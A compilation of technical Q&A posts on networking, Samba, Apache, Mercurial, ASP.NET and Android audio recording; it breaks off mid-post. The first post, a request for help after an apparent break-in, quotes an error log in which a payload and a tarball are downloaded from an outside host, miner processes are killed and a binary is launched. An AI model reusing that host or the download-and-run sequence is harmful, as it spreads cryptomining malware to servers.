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• Apache error log interpretation

  - by HTF

  It looks like someone gained access to my server. How I can find out which Apache vHosts this log is related to? How these commands from the log are invoked and how/why they are printed to the log file - is this some remote shell or PHP script? /var/log/httpd/error_log mkdir: cannot create directory `/tmp/.kdso': File exists --2014-06-13 13:29:17-- http://updates.dyndn-web.com/abc.txt Resolving updates.dyndn-web.com... 94.23.49.91 Connecting to updates.dyndn-web.com|94.23.49.91|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 5055 (4.9K) [text/plain] Saving to: `abc.txt' 0K .... 100% 303K=0.02s 2014-06-13 13:29:17 (303 KB/s) - `abc.txt' saved [5055/5055] % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed ^M 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0^M101 5055 101 5055 0 0 79686 0 --:--:-- --:--:-- --:--:-- 154k minerd64: no process killed minerd32: no process killed named: no process killed kernelupdates: no process killed kernelcfg: no process killed kernelorg: no process killed ls: cannot access /tmp/.ICE-unix: No such file or directory mkdir: cannot create directory `/tmp': File exists --2014-06-13 13:29:18-- http://updates.dyndn-web.com/64.tar.gz Resolving updates.dyndn-web.com... 94.23.49.91 Connecting to updates.dyndn-web.com|94.23.49.91|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 205812 (201K) [application/x-tar] Saving to: `64.tar.gz' 0K .......... .......... .......... .......... .......... 24% 990K 0s 50K .......... .......... .......... .......... .......... 49% 2.74M 0s 100K .......... .......... .......... .......... .......... 74% 2.96M 0s 150K .......... .......... .......... .......... .......... 99% 3.49M 0s 200K 100% 17.4M=0.1s 2014-06-13 13:29:18 (1.99 MB/s) - `64.tar.gz' saved [205812/205812] sh: ./kernelupgrade: Permission denied

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• Hyper-V Ubuntu Networking Problems Copying Large Amounts of Data

  - by Anonymous

  I am trying to copy a large amount (about 50 GB) of data over my network from a Hyper-V-hosted virtual machine running Ubuntu 11.04 (Natty Narwhal) to another (non-virtual) Ubuntu host that I plan to use for testing upgrades to one of our web applications. The problem I am having is with the virtual machine, which I shall refer to in what follows as "source.host". This machine is running 64-bit Ubuntu Server with the 2.6.38-8-server kernel and the Microsoft Linux Integration Components for Hyper-V kernel modules (hv_utils, hv_timesource, hv_netvsc, hv_blkvsc, hv_storvsc, and hv_vmbus) loaded. It uses a Hyper-V "synthetic network adapter" for its networking interface. To do the copy, I log on to the machine with the data and run the following commands (Call the remote machine "destination.host".): $ cd /path/to/data $ tar -cvf - datafolder/ | ssh [email protected] "cat > ~/data.tar" This runs for a while and then suddenly stops after transferring somewhere from 2-6 GB. The terminal on the source.host machine displays a Write failed: broken pipe error. The odd part is this: after this occurs, the "source.host" machine is no longer able to talk to the rest of the network. I cannot ping any other hosts on the network from the "source.host" machine, and I cannot ping the "source.host" machine from any other host on the network. I am equally unable to access the any of the web services hosted on "source.host". Running ifconfig on "source.host" shows the network adapter to be up and running as usual with the correct IP address and everything. I tried restarting the networking service with $ /etc/init.d/networking restart but the problem does not go away. Restarting the machine makes it capable of talking to the network again -- it can ping and be pinged by other hosts, and the web services are also accessible and usable as normal -- but attempting the copy operation again results in the same failure, requiring another restart. As an experiment, I tried replacing the tar -- ssh pipeline above with a straight scp: $ scp -r datafolder/ [email protected]:~ but to no avail Thinking that the issue might have to do with the kernel packet-send buffers filling up, I tried increasing the buffer size to 12 MB (up from the 128 KB default) with # echo 12582911 > /proc/sys/net/core/wmem_max but this also had no effect. I'm guessing at this point that it might be a problem with the Microsoft synthetic network driver, but I don't really know. Does anyone have any suggestions? Thank you very much in advance!

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• Can't ping Ip over bridge

  - by tmn29a

  I'm unable to ping another host over a bridge I created, I can't see the error -.- It's a remote machine running debian stable with some backports for which I want to set up DHCP on the new Subnet 172.30.xxx.xxx to be used for KVM-Guests. ifconfig : bond0 Link encap:Ethernet HWaddr e4:11:5b:d4:94:30 inet addr:10.54.2.84 Bcast:10.54.2.127 Mask:255.255.255.192 inet6 addr: fe80::e611:5bff:fed4:9430/64 Scope:Link UP BROADCAST RUNNING MASTER MULTICAST MTU:1500 Metric:1 RX packets:34277 errors:0 dropped:0 overruns:0 frame:0 TX packets:18379 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:2638709 (2.5 MiB) TX bytes:2887894 (2.7 MiB) br0 Link encap:Ethernet HWaddr f2:fc:4d:7f:15:f0 inet addr:172.30.254.66 Bcast:172.30.254.127 Mask:255.255.255.192 inet6 addr: fe80::f0fc:4dff:fe7f:15f0/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:252 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:10800 (10.5 KiB) Pings : ping -I br0 172.30.xxx.65 PING 172.30.xxx.65 (172.30.xxx.65) from 172.30.xxx.66 br0: 56(84) bytes of data. --- 172.30.xxx.65 ping statistics --- 3 packets transmitted, 0 received, 100% packet loss, time 2017ms ping -I bond0 172.30.254.65 PING 172.30.xxx.65 (172.30.xxx.65) from 10.54.2.84 bond0: 56(84) bytes of data. 64 bytes from 172.30.x.65: icmp_req=1 ttl=64 time=0.599 ms 64 bytes from 172.30.x.65: icmp_req=2 ttl=64 time=0.575 ms 64 bytes from 172.30.x.65: icmp_req=3 ttl=64 time=0.565 ms --- 172.30.x.65 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 1999ms rtt min/avg/max/mdev = 0.565/0.579/0.599/0.031 ms Route : Destination Gateway Genmask Flags Metric Ref Use Iface 172.30.x.64 * 255.255.255.192 U 0 0 0 br0 10.54.x.64 * 255.255.255.192 U 0 0 0 bond0 default 10.54.x.65 0.0.0.0 UG 0 0 0 bond0 default 172.30.x.65 0.0.0.0 UG 0 0 0 br0 The Interface : cat /etc/network/interfaces auto lo br0 iface lo inet loopback # Bonding Interface auto bond0 iface bond0 inet static address 10.54.x.84 netmask 255.255.255.192 network 10.54.x.64 gateway 10.54.x.65 slaves eth0 eth1 bond_mode active-backup bond_miimon 100 bond_downdelay 200 bond_updelay 200 iface br0 inet static bridge_ports bond0 address 172.30.x.66 broadcast 172.30.x.127 netmask 255.255.x.192 gateway 172.30.x.65 bridge_maxwait 0 If you need more info please ask. Thanks for your help !

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• I can connect to Samba server but cannot access shares.

  - by jlego

  I'm having trouble getting samba sharing working to access shares. I have setup a stand-alone box running Fedora 16 to use as a file-sharing and web development server. It needs to be able to share files with a Windows 7 PC and a Mac running OSX Snow Leopard. I've setup Samba using the Samba configuration GUI tool on Fedora. Added users to Fedora and connected them as Samba users (which are the same as the Windows and Mac usernames and passwords). The workgroup name is the same as the Windows workgroup. Authentication is set to User. I've allowed Samba and Samba client through the firewall and set the ethernet to a trusted port in the firewall. Both the Windows and Mac machines can connect to the server and view the shares, however when trying to access the shares, Windows throws error: 0x80070035 " Windows cannot access \\SERVERNAME\ShareName." Windows user is not prompted for a username or password when accessing the server (found under "Network Places"). This also happens when connecting with the IP rather than the server name. The Mac can also connect to the server and see the shares but when choosing a share gives the error: The original item for ShareName cannot be found. When connecting via IP, the Mac user is prompted for username and password, which when authenticated gives a list of shares, however when choosing a share to connect to, the error is displayed and the user cannot access the share. Since both machines are acting similarly when trying to access the shares, I assume it is an issue with how Samba is configured. smb.conf: [global] workgroup = workgroup server string = Server log file = /var/log/samba/log.%m max log size = 50 security = user load printers = yes cups options = raw printcap name = lpstat printing = cups [homes] comment = Home Directories browseable = no writable = yes [printers] comment = All Printers path = /var/spool/samba browseable = yes printable = yes [FileServ] comment = FileShare path = /media/FileServ read only = no browseable = yes valid users = user1, user2 [webdev] comment = Web development path = /var/www/html/webdev read only = no browseable = yes valid users = user1 How do I get samba sharing working? UPDATE: I Figured it out, it was because I was sharing a second hard drive. See checked answer below. Speculation 1: Before this box I had another box with the same version of fedora installed (16) and samba working for these same computers. I started up the old machine and copied the smb.conf file from the old machine to the new one (editing the share definitions for the new shares of course) and I still get the same errors on both client machines. The only difference in environment is the hardware and the router. On the old machine the router received a dynamic public IP and assigned dynamic private IPs to each device on the network while the new machine is connected to a router that has a static public IP (still dynamic internal IPs though.) Could either one of these be affecting Samba? Speculation 2: As the directory I am trying to share is actually an entire internal disk, I have tried these things: 1.) changing the owner of the mounted disk from root to my user (which is the same username as on the Windows machine) 2.) made a share that only included one of the folders on the disk instead of the entire disk with my user again as the owner. Both tests failed giving me the same errors regarding the network address. Speculation 3: Whenever I try to connect to the share on the Windows 7 client I am prompted for my username and password. When I enter the correct credentials I get an access denied message. However I did notice that under the login box "domain: WINDOWS-PC-NAME" is listed. I believe this could very well be the problem. Speculation 4: So I've completely reinstalled Fedora and Samba now. I've created a share on the first harddrive (one fedora is installed on) and I can access that fine from Windows. However when I try to share any data on the second disk, I am receiving the same error. This I believe is the problem. I think I need to change some things in fstab or fdisk or something. Speculation 5: So in fstab I mapped the drive to automount in a folder which works correctly. I also added the samba_share_t SElinux label to the mountpoint directory which now allows me to access the shares on the Windows machine, however I cannot see any of the files in the directory on the windows machine. (They are there, I can see them in the fedora file browser locally)

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• What is the difference between running a Windows service vs. running through shell?

  - by Zack

  I am trying to troubleshoot an issue on a Windows 2008 server where running attempting to connect to a "Timberline Data Source" ODBC driver crashes if the call is in a "service" context, but succeeds if the call is initiated manually in a Remote Desktop session. I have set the service to run as my user. I'm wondering if, all else being equal (user, machine, etc), are there any fundamental security/environment differences between running a process as a service vs manually? --- Implementation Details --- In case it is helpful for anyone, I had a system that started as an attempt to connect to a Timberline Database using ODBC and a Python CGI script called via IIS 7. The script itself works fine, however, as soon as I attempt to perform the ODBC connect function, the script crashes without throwing an exception. The script was able to connect fine when executed via command line. The same thing happened when using a C#/.net service, attempting to run via Apache, Windows Scheduler or even a 3rd party scheduling tool. With the last option (the 3rd party scheduling tool, pycron) I set the service up log in as my user and had the same issue (I confirmed via Task Manager that the process running user was, in fact, me). It just doesn't make sense to me why a service, which should be running as my user, appears to still be operating in a different security context or environment. Also, if it's important, the Timberline database is referenced by computer name on the network ("\\timberline-server\Timberline Office\Accounts\AT" or something to that effect) I also realized that, as Joel pointed out, the server DOES have a mapped drive ("Y:" which is mapped to "\\timberline-server\Timberline Office") The DSN is set up at the "System DSN" level which, according to the ODBC Administration Tool, means that the DSN is available to users and services Since I'm not allowed to answer this question yet, I'll post the solution that I arrived on: As Joel Coel mentioned, there actually was a mapped drive scenario. I didn't realize this because the DSN specified a path using UNC. However, it seems as though the actual Timberline Driver referred to a mapped drive. Since services don't start with the mapped drive, I was forced to add the drive mapping code into my service. Since it was written in python, I used code from a Stackoverflow answer that was able to map the drive on the fly.

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• Need help troubleshooting highly variable ping times

  - by Elliot.Bradshaw

  I'm at work using Citrix (think Remote Desktop) to connect to client sites. With my job I have to write a fair bit of code while I'm connected remotely via Citrix, so the latency of my internet connection is important. If I'm getting ping times above 250ms, then it becomes almost impossible to scroll, click or type with accuracy. Recently my Comcast business internet has been exhibiting highly variable ping times. If I ping google.com, I'll get pings that range from 9ms all the way up to 1300ms. The problem seems to be at its worst during the hours of 1PM to 4:30PM. Outside of those hours and the variance in pings settles down, mostly between 9ms and 50ms. The signal to noise ratio and upstream power are both fine on my modem--the values are here: http://pastebin.com/D4hWGPXf I ran a trace route from my computer to google.com (the results of which are here: http://pastebin.com/GcdjYvMh) and did another test ping to the IP of the first hop outside of our local network (73.98.44.1)--the variance in ping times existed in exactly the same manner as if I were pinging Google. Connecting directly to the cable modem by CAT5 makes no difference. Here is a screenshot demonstrating the variance of the ping times: http://postimage.org/image/haocdeauv/full/ -- as you can see it can get pretty bad. Three Comcast techs have been out (two of them were here when the problem wasn't happening) and they as well as the regional tier 2 Comcast support were unable to diagnose the problem. I now have a ticket open with tier 3 support, but have yet to hear back from them. Does anyone know what could cause these sorts of problems or have any idea from the traceroute above where it could be originating? The regional tier 2 guy tried to tell me that what I'm seeing is normal--are highly variable ping times like that ever acceptable? Anything I should ask Comcast to do or look at to get this problem fixed? Any tips/advice much appreciated! Edit: This is Comcast cable internet at a small start-up, we've ruled out congestion in our private LAN as a cause (i.e., no one's watching YouTube when the pings become variable). Update: Tier 3 Comcast support advised swapping out the modem, a tech came here today and did that--same problem persists.

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• Router behind Router--second router (and its clients) cannot be "seen" even after both routers are D

  - by Trioke

  Couple of terminology I guess I should get out of the way for consistency's sake throughout the post: External Router/Modem - SMC 8014WG - External IP 173.32.144.134 - Internal IP 192.168.0.1 Internal Router - LinkSys WRT120N - "External" IP of 192.168.0.175 - Internal IP 192.168.1.1 - Connected via Ethernet Cable (a really long one, from the basement to the second floor) PC - IP 192.168.200 - Connected Wirelessly via WAP2 Personal. Laptop - Used to try and diagnose the problem, a 4th machine to the setup which won't be part of the final setup once everything works. The actual problem: I've tried setting the LinkySys router as a DMZ'd client on the SMC router, and then DMZ'd the actual PC on the LinkSys. So the DMZ looks like this: On the SMZ, client with IP 192.168.0.175 is DMZ'd. On the LinkSys, client with IP 192.168.1.200 is DMZ'd. No dice. I then tried port forwarding the necessary port on the SMC to the LinkSys (lets just say, port 80). Then port forwarded Port 80 on the LinkSys to the PC. Same as the DMZ scenario above, but change DMZ with port forwarding. No dice, still :(. Now here's where I went stupid--and tell me if one should never do this--I enabled both DMZ and port forwarding at the same time. I fired up Opera--my browser of choice ;)--typed in 173.32.144.134:6333 and... ... Third time is the charm they say? Well, clearly not. Otherwise I wouldn't be here ;). To diagnose the problem, I enabled "Allow remote access to the Admin panel" on the LinkSys router, and specified port 6333 as the port to use. I port forwarded port 6333 on the SMC to 192.168.0.175, and access my external IP of 173.32.144.134:6333 in hopes of seeing the Admin panel... No dice (I think I've ran out of dice by now ;)). So to see where the problem was, I connected a laptop to the SMC via LAN cable, and typed in 192.168.0.175:6333, and viola, Admin Panel access! So the problem looks like it lies with the SMC--But that's as far as I've got, I've done the port forwarding, the DMZ'ing, and I've even disabled the built-in firewall for safe measures, but nothing worked. So, here I am. Unable to connect to the PC behind the Internal router externally, and without anything to go on other than to come here and ask for the wisdom of the the superuser folks :). If any more detail is required, just ask. (Apologies in advance, if questions should never be this long winded!)

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• unable to connect site to different port

  - by JohnMerlino

  I have a domain was registered at godaddy named http://mysite.com/. I logged into godaddy and I went to All Products Domains Domain Management. I clicked on the appropriate domain and it took me to the Domain Details page. I clicked Launch under DNS Manager and it took me to the Zone File Editor. I noticed that notify.mysite.com was pointing to an IP address pointing to a dead server, so I switched it to an operating server. Then I pinged the domain to see where it was pointing to and it was correctly pointing to the working server. So I copied the default configuration under sites-available: sudo cp default notify.mysite.com. And then I made some edits to it to have it point to a different document root to serve files at a different port: Listen 1740 Listen 64.135.xx.xxx:1740 #I also tried this as well: NameVirtualHost 64.135.xx.xxx:1740 <VirtualHost 64.135.xx.xxx:1740> ServerAdmin [email protected] ServerName notify.mysite.com DocumentRoot /var/www/test/public <Directory /var/www/test/public> Order allow,deny allow from all </Directory> ErrorLog ${APACHE_LOG_DIR}/error.log LogLevel warn CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost> Then I enabled the virtual host. Then I went to the document root and added an index.html file with some text in it. Then I restarted apache. The restart gave no errors. Then I type the correct domain in URL: http://notify.mysite.com:1740/ and I get: Oops! Google Chrome could not connect to notify.mysite.com:1740 Somehow it took out all my other sites. Now even the ones that were responding on port 80 are no longe responding, even though I did not touch the virtual hosts for them. I get this message now: Oops! Google Chrome could not connect to mysite.com However, ping responds: ping mysite.com PING mysite.com (64.135.12.134): 56 data bytes 64 bytes from 64.135.12.134: icmp_seq=0 ttl=49 time=20.839 ms 64 bytes from 64.135.12.134: icmp_seq=1 ttl=49 time=20.489 ms The result of telnet: $ telnet guarddoggps.com 80 Trying 64.135.12.134... telnet: connect to address 64.135.12.134: Connection refused telnet: Unable to connect to remote host

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• Reliable file copy (move) process - mostly Unix/Linux

  - by mfinni

  Short story : We have a need for a rock-solid reliable file mover process. We have source directories that are often being written to that we need to move files from. The files come in pairs - a big binary, and a small XML index. We get a CTL file that defines these file bundles. There is a process that operates on the files once they are in the destination directory; that gets rid of them when it's done. Would rsync do the best job, or do we need to get more complex? Long story as follows : We have multiple sources to pull from : one set of directories are on a Windows machine (that does have Cygwin and an SSH daemon), and a whole pile of directories are on a set of SFTP servers (Most of these are also Windows.) Our destinations are a list of directories on AIX servers. We used to use a very reliable Perl script on the Windows/Cygwin machine when it was our only source. However, we're working on getting rid of that machine, and there are other sources now, the SFTP servers, that we cannot presently run our own scripts on. For security reasons, we can't run the copy jobs on our AIX servers - they have no access to the source servers. We currently have a homegrown Java program on a Linux machine that uses SFTP to pull from the various new SFTP source directories, copies to a local tmp directory, verifies that everything is present, then copies that to the AIX machines, and then deletes the files from the source. However, we're finding any number of bugs or poorly-handled error checking. None of us are Java experts, so fixing/improving this may be difficult. Concerns for us are: With a remote source (SFTP), will rsync leave alone any file still being written? Some of these files are large. From reading the docs, it seems like rysnc will be very good about not removing the source until the destination is reliably written. Does anyone have experience confirming or disproving this? Additional info We will be concerned about the ingestion process that operates on the files once they are in the destination directory. We don't want it operating on files while we are in the process of copying them; it waits until the small XML index file is present. Our current copy job are supposed to copy the XML file last. Sometimes the network has problems, sometimes the SFTP source servers crap out on us. Sometimes we typo the config files and a destination directory doesn't exist. We never want to lose a file due to this sort of error. We need good logs If you were presented with this, would you just script up some rsync? Or would you build or buy a tool, and if so, what would it be (or what technologies would it use?) I (and others on my team) are decent with Perl.

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• How can I minimize the amount my router slows down my Internet connection speed?

  - by Lord Torgamus

  Background I'm working with what I assume is a pretty common Internet setup: a cable modem, a wireless router and a few Internet-connected devices. Lately, I've started being more demanding on my Internet connection, and noticed that using my router slows down my download speeds considerably. I just kind of dealt with it until Zune Marketplace on the Xbox 360 told me that a movie was going to take well over ten hours to download, and I just didn't want to wait that long. Good little scientist that I am, I tried to reduce the problem down to one variable. The test As a control, I turned off all the devices in the house that use wireless Internet, and unplugged all the wired devices except for the Xbox. I also power-cycled both the modem and the router. I then tried to download the movie again, and was told that it would still take over ten hours. Next, I unplugged the router, and connected the Xbox directly to the modem. The movie downloaded in just over one hour. As far as I can tell, this means that my ISP, other cable users near me, the remote servers, anything wireless-related and my machines' disk speeds can't be at fault. A similar experiment that replaced the Xbox with a wired laptop produced similar results. To me, this says "the router is responsible for things taking around ten times longer to download." My question I'd still prefer to use the router for a few reasons: it's a pain to connect and disconnect everything every time there's a big file to download direct connection to the modem isn't good for security only one machine can be connected directly to the modem at a time What can I do to have fast connection speeds while still using the router? I don't mind turning other machines off, as long as I don't have to mess with power and ethernet cables. EDIT : After asking this followup question and then this one, I installed dd-wrt on my router, and I seem to be getting higher and more consistent speeds. Perhaps more importantly, my memory use is fairly constant. I know this isn't an answer — which is why I'm not posting it as an answer — but it is how I resolved the situation, and hopefully it'll be helpful for someone.

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• ASP.NET MVC 2 client-side validation rules not being created

  - by Brant Bobby

  MVC isn't generating the client-side validation rules for my viewmodel. The HTML just contains this: <script type="text/javascript"> //<![CDATA[ if (!window.mvcClientValidationMetadata) { window.mvcClientValidationMetadata = []; } window.mvcClientValidationMetadata.push({"Fields":[],"FormId":"form0","ReplaceValidationSummary":false}); //]]> </script> Note that Fields[] is empty! My view is strongly-typed and uses the new strongly-typed HTML helpers (TextBoxFor(), etc). View Model / Domain Model public class ItemFormViewModel { public Item Item { get; set; } [Required] [StringLength(100)] public string Whatever { get; set; } // for demo } [MetadataType(typeof(ItemMetadata))] public class Item { public string Name { get; set; } public string SKU { get; set; } public int QuantityRequired { get; set; } // etc. } public class ItemMetadata { [Required] [StringLength(100)] public string Name { get; set; } [Required] [StringLength(50)] public string SKU { get; set; } [Range(0, Int32.MaxValue)] public int QuantityRequired { get; set; } // etc. } (I know I'm using a domain model as my / as part of my view model, which isn't a good practice, but disregard that for now.) View <%@ Page Language="C#" MasterPageFile="~/Views/Shared/Site.Master" Inherits="System.Web.Mvc.ViewPage<ItemFormViewModel>" %> <asp:Content ID="Content2" ContentPlaceHolderID="MainContent" runat="server"> <h2>Editing item: <%= Html.Encode(Model.Item.Name) %></h2> <% Html.EnableClientValidation(); %> <%= Html.ValidationSummary("Could not save the item.") %> <% using (Html.BeginForm()) { %> <%= Html.TextBoxFor(model => model.Item.Name) %> <%= Html.TextBoxFor(model => model.Item.SKU) %> <%= Html.TextBoxFor(model => model.Item.QuantityRequired) %> <%= Html.HiddenFor(model => model.Item.ItemID) %> <%= Html.TextBox("Whatever", Model.Whatever) %> <input type="submit" value="Save" /> <% } %> </asp:Content> I included the Whatever property on the view model because I suspected that MVC wasn't recursively inspecting the sub-properties of ItemFormViewModel.Item, but even that isn't being validated? I've even tried delving into the MVC framework source code but have come up empty. What could be going on?

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• Resons why I'm using php rather then asp.net [closed]

  - by spirytus

  I have basic idea of how asp .Net works, but finds all framework hard to use if you are a newbie. I found compiling, web applications vs websites and all that stuff you should know to program in asp .net a bit tedious and so personally I go with php to create small, to medium applications for my clients. There are couple of reasons for it: php is easy scripting language, top to bottom and you done. You still can create objects, classes and if you have idea of MVC its fairly easy to create basic structure yourself so you can keep you presentation layer "relatively" clean. Although I find myself still mixing basic logic in my view's, I am trying to stick to booleans, and for each loops. ASP .net keeps it cleaner as far as I know and I agree that this is great. Heaps of free stuff for php and lots of help everywhere Although choice of IDE's for php is very limited, I still don't have to be stuck with VisualStudio. Lets be honest.. you can program in whatever you like but does anyone uses anything else other than VS? For basic applications I create, Visual Studio doesn't come even close to notepad :) / phpEdit (or similar) combination. It lacks of many features I constantly use, although armies of developers are using it and it must be for good reason. Personally not a big fan of VS though. Being on the market for that long should make editing much easier. I know .Net comes with awesome set of controls, validators etc. which is truly awesome. For me the problem starts if I want my validator to behave slightly different way and lets say fade in/out error messages. I know its possible to extend it behavior, plug into lifecycle and output different JS to the client and so on. I just never see it happen in places I work, and honestly, I don't even think most of .net developers I worked with during last couple of years would know how to do that. In php I have to grab some plugin for jQuery and use it for validation, which is fairly easy task once you had done it before. Again I'm sure its easy for .net gurus, but for newbie like me its almost impossible. I found that many asp .net programmers are very limited in what they are able to do and basically whack together .net applications using same lame set of controls, not even bothering in looking into how it works and what if? Now I don't want to anger anyone :) I know there is huge number of excellent .Net developers who know their stuff and are able to extend controls and do all that magic in no time. I found it a bit annoying though that many of them stick to what is provided without even trying to make it better. Nothing against .net here, just a thought really :) I remember when asp.net came out the idea was that front-end people will not be able to screw anything up and do their fron-end stuff without worrying what happens behind. Now its never that easy and I always tend to get server side people to fix this and that during development. Things like ID's assigned to controls can very easily make your application break and if someone is pure HTML guy using VS its easy to break something. Thats my thoughs on php and .net and reasons why for my work I go with php. I know that once learned asp .net is awesome technology and summing all up php doesn't even come close to it. For someone like me however, individually developing small basic applications for clients, php seems to work much better. Please let me know your thoughts on the above :)

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• Hosting Mercurial on IIS7

  - by Lasse V. Karlsen

  Note, this might perhaps be best suited on serverfault.com, but since it is about hosting a programmer source code repository, I am not entirely sure. I'm posting here first, trusting that it'll be migrated if necessary. I'm attempting to host clones of my Mercurial repositories on my own server (I have the main repo somewhere else), and I'm attempting to set up Mercurial under IIS. I followed the guide here, but I get an error message. Solved: See bottom of this question for details. The error message is: mercurial.error.RepoError: repository /path/to/repo/or/config not found Here's what I did. I installed Mercurial 1.5.2 I created c:\inetpub\hg I downloaded the hg source as per the instructions of the webpage, and copied the hgweb.cgi file into c:\inetpub\hg (note, the webpage says hgwebdir.cgi, but this particular file does not exist, hgweb.cgi does, however, can this be the source of the problem?) I added a hgweb.config, with the following contents: [paths] repo1 = C:/hg/** [web] style = monoblue I created c:\hg, created a sub-directory test, and created a repository inside it I installed python 2.6.5, latest 2.6 version from the website (the webpage mentions I need to install the correct version or I'll get a specific error message, since I don't get an error message that looks remotely like the one mentioned, I assume that 2.6.5 is not the problem) I added a new virtual host hg.vkarlsen.no, pointing it to c:\inetpub\hg For this host, I added a script mapping under the Handler Mappings section, mapping *.cgi to c:\python26\python.exe -u %s %s as per the instructions on the website. I then tested it by navigating to http://hg.vkarlsen.no/hgweb.cgi, but I get an error message. To make it easier to test, I dropped to a command prompt, navigated to c:\inetpub\hg, and executed the following command (error message is part of the text below): C:\inetpub\hg>c:\python26\python.exe -u hgweb.cgi Traceback (most recent call last): File "hgweb.cgi", line 16, in <module> application = hgweb(config) File "mercurial\hgweb\__init__.pyc", line 12, in hgweb File "mercurial\hgweb\hgweb_mod.pyc", line 30, in __init__ File "mercurial\hg.pyc", line 82, in repository File "mercurial\localrepo.pyc", line 2221, in instance File "mercurial\localrepo.pyc", line 62, in __init__ mercurial.error.RepoError: repository /path/to/repo/or/config not found Does anyone know what I need to look at in order to fix this? Edit: Ok, I think I managed to get one step closer to the solution, but I'm still stumped. I realized the .cgi file is a python script file, and not something compile, so I opened it for editing, and these lines was sitting in it: # Path to repo or hgweb config to serve (see 'hg help hgweb') config = "/path/to/repo/or/config" So this was my source for the specific error message. If I change the line to this: config = "c:\\hg\\test" Then I can navigate the empty repository through the Mercurial web interface. However, I want to host multiple repositories, and seeing as the line says that I can also link to a hgweb config file, I tried this: config = "c:\\inetpub\\hg\\hgweb.config" But then I get the following error message: mercurial.error.Abort: c:\inetpub\hg\hgweb.config: not a Mercurial bundle file Exception ImportError: 'No module named shutil' in <bound method bundlerepository.__del__ of <mercurial.bundlerepo.bundlerepository object at 0x0260A110>> ignored Nothing I've tried for the config variable seems to work: config = "hgweb.config" config = "c:\\hg\\hgweb.config" various other variations I don't remember. So, still stumped, pointers anyone? Solved: I ended up having to edit the hgweb.cgi file: from: from mercurial.hgweb import hgweb, wsgicgi application = hgweb(config) to: from mercurial.hgweb import hgweb, hgwebdir, wsgicgi application = hgwebdir(config) Note the added hgwebdir parts there. Here's my hgweb.config file, located in the same directory as hgweb.cgi file: [collections] C:/hg/ = C:/hg/ [web] style = gitweb This now serves my repositories successfully. Hopefully this question will give others some information if they're stumped as I was.

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• Audio Recording with Appcelerator on Android

  - by user951793

  I would like to record audio and then send the file to a webserver. I am using Titanium 1.8.2 on Win7. The application I am woring on is both for Android and iphone and I do realise that Titanium.Media.AudioRecorder and Titanium.Media.AudioPlayer are for these purpose. Let's concentrate on android for a while. On that platform you can achieve audio recording by creating an intent and then you handle the file in your application. See more here. This implementation has a couple of drawbacks: You cannot stay in your application (as a native audio recorder will start up) You only get back an uri from the recorder and not the actual file. Another implementation is done by Codeboxed. This module is for recording an audio without using intents. The only problem that I could not get this working (along with other people) and the codeboxed team does not respond to anyone since last year. So my question is: Do you know how to record audio on android without using an intent? Thanks in advance. Edit: My problem with codeboxed's module: I downloaded the module from here. I copied the zip file into my project directory. I edited my manifest file with: <modules> <module platform="android" version="0.1">com.codeboxed.audiorecorder</module> </modules> When I try and compile I receive the following error: [DEBUG] appending module: com.mwaysolutions.barcode.TitaniumBarcodeModule [DEBUG] module_id = com.codeboxed.audiorecorder [ERROR] The 'apiversion' for 'com.codeboxed.audiorecorder' in the module manifest is not a valid value. Please use a version of the module that has an 'apiversion' value of 2 or greater set in it's manifest file [DEBUG] touching tiapp.xml to force rebuild next time: E:\TitaniumProjects\MyProject\tiapp.xml I can manage to recognise the module by editing the module's manifest file to this: ` version: 0.1 description: My module author: Your Name license: Specify your license copyright: Copyright (c) 2011 by Your Company apiversion: 2 name: audiorecorder moduleid: com.codeboxed.audiorecorder guid: 747dce68-7d2d-426a-a527-7c67f4e9dfad platform: android minsdk: 1.7.0` But Then again I receive error on compiling: [DEBUG] "C:\Program Files\Java\jdk1.6.0_21\bin\javac.exe" -encoding utf8 -classpath "C:\Program Files (x86)\Android\android-sdk\platforms\android-8\android.jar;C:\Users\Gabor\AppData\Roaming\Titanium\mobilesdk\win32\1.8.2\android\modules\titanium-media.jar;C:\Users\Gabor\AppData\Roaming\Titanium\mobilesdk\win32\1.8.2\android\modules\titanium-platform.jar;C:\Users\Gabor\AppData\Roaming\Titanium\mobilesdk\win32\1.8.2\android\titanium.jar;C:\Users\Gabor\AppData\Roaming\Titanium\mobilesdk\win32\1.8.2\android\thirdparty.jar;C:\Users\Gabor\AppData\Roaming\Titanium\mobilesdk\win32\1.8.2\android\jaxen-1.1.1.jar;C:\Users\Gabor\AppData\Roaming\Titanium\mobilesdk\win32\1.8.2\android\modules\titanium-locale.jar;C:\Users\Gabor\AppData\Roaming\Titanium\mobilesdk\win32\1.8.2\android\modules\titanium-app.jar;C:\Users\Gabor\AppData\Roaming\Titanium\mobilesdk\win32\1.8.2\android\modules\titanium-gesture.jar;C:\Users\Gabor\AppData\Roaming\Titanium\mobilesdk\win32\1.8.2\android\modules\titanium-analytics.jar;C:\Users\Gabor\AppData\Roaming\Titanium\mobilesdk\win32\1.8.2\android\kroll-common.jar;C:\Users\Gabor\AppData\Roaming\Titanium\mobilesdk\win32\1.8.2\android\modules\titanium-network.jar;C:\Users\Gabor\AppData\Roaming\Titanium\mobilesdk\win32\1.8.2\android\ti-commons-codec-1.3.jar;C:\Users\Gabor\AppData\Roaming\Titanium\mobilesdk\win32\1.8.2\android\modules\titanium-ui.jar;C:\Users\Gabor\AppData\Roaming\Titanium\mobilesdk\win32\1.8.2\android\modules\titanium-database.jar;C:\Users\Gabor\AppData\Roaming\Titanium\mobilesdk\win32\1.8.2\android\kroll-v8.jar;C:\Users\Gabor\AppData\Roaming\Titanium\mobilesdk\win32\1.8.2\android\modules\titanium-xml.jar;C:\Users\Gabor\AppData\Roaming\Titanium\mobilesdk\win32\1.8.2\android\android-support-v4.jar;C:\Users\Gabor\AppData\Roaming\Titanium\mobilesdk\win32\1.8.2\android\modules\titanium-filesystem.jar;C:\Users\Gabor\AppData\Roaming\Titanium\mobilesdk\win32\1.8.2\android\modules\titanium-android.jar;E:\TitaniumProjects\MyProject\modules\android\com.mwaysolutions.barcode\0.3\barcode.jar;E:\T